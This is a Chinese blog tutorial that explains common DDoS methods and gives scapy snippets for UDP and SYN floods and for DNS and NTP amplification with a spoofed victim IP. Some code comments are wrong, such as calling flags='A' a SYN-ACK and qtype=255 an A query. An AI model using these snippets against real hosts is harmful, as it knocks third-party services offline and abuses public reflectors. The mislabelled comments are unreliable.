前言:
限于篇幅,本文只介绍几种常见的DDOS方式,并从代码层面进行复现,利用python的scapy第三方库可以实现发送数据包,详细信息请见https://scapy.net/.
0X01:什么是DDOS
DDoS,英文全称Distributed Denial of Service,中文名称是分布式拒绝服务攻击。指的是攻击者控制多个攻击源同时向同一主机或网络发起DoS攻击。它是DoS攻击的衍生形式,它可以对源IP地址进行伪造,使得这种攻击发生时更加隐蔽,更难进行攻击检测。DDoS攻击有多种不同的分类方法,可以分为手工DDoS和自动化DDoS,前者多用于测试场景,后者则多现于真实攻击。根据技术实现的不同可以分为多种,如流量DDoS攻击有UDP、ICMP洪水攻击等;扩展DDoS攻击有Smurf、TCP SYN攻击等。
-----来自WIKI百科
0X02:常见DDOS分类
1:UDP
2:TCP_SYN
3:TCP_SYN-ACK
4:DNS放大攻击
5:NTP放大攻击
0X03:UDP
UDP协议是无连接的,即发送数据前不需要建立连接.服务器只要开放一个UDP端口就可以进行UDP DDOS.
下面是一个以python为基础实现UDP DDOS的小demo(部分代码)
#ip为服务器,dport为服务器端口,sport是攻击机的端口
#verbose=0表示屏蔽控制台输出
#你也可以在IP(src=ip)中使用src=ip的方式实现伪造ip
randport = random.randint(0,65535)
response = send(IP(dst=ip)/UDP(dport=port,sport=randport),verbose=0)
0X04:TCP_SYN
TCP_SYN是基于TCP协议栈发起的攻击,首先我们要了解TCP的三次握手.
一次正常的TCP连接由客户主动发起连接请求报文(SYN),服务器发送回应连接请求报文(SYN-ACK),之后客户端确认接收到回应连接请求报文(SYN-ACK),然后发送确认报文(ACK),然后开始进行正常的数据传送.
作为攻击者,我们只需要进行第一步,即发送连接请求报文(SYN),服务器会发送回应连接请求报文(SYN-ACK),由于我们不进行握手的第三步即发送ACK确认报文,连接就会中断.
如图所示
#flags='S'将报文设置为SYN报文
randport = random.randint(0,65535)
send(IP(dst=ip)/TCP(dport=port,sport=randport,flags='S'),verbose=0)
0X05:TCP_SYN-ACK
攻击者直接发送SYN-ACK报文,由于服务端未向客户端发送SYN报文即为一个不正常的TCP握手过程,服务端发送RST报文拒绝连接.
#flags='A'代表这是一个SYN-ACK报文
randport = random.randint(0,65535)
send(IP(dst=ip)/TCP(dport=port,sport=randport,flags='A'),verbose=0)
0X06:DNS放大攻击
DNS报文分为请求报文和应答报文,通常应答报文是请求报文的数倍大小,我们可以通过伪造源ip的方式发送请求报文实现DNS放大攻击
有关DNS协议的细节请自行查找
'''
src中的ip为服务器ip,dst中的ip为DNS服务器IP(如8.8.8.8)
DNS查询是通过UDP协议实现的,通常端口为53,sport(源端口)为服务器开放的端口
rd=1表示期望递归
qd=DNSQR(qtype=255,qname=domain)表示进行查询,类型为A类型,查询域名为domain
'''
send(IP(src=ip,dst=dns_server)/UDP(sport=port,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)),verbose=0)
0X07:NTP放大攻击
原理与DNS放大攻击类似
data = "\x17\x00\x03\x2a" + "\x00" * 4
send(IP(src=ip,dst=ntp_server)/UDP(dport=123,sport=randport)/Raw(load=data),verbose=0)
我是一名网络安全初学者,不定期分享一些干货,欢迎关注我的微信公众号WCTW,大家一起共同学习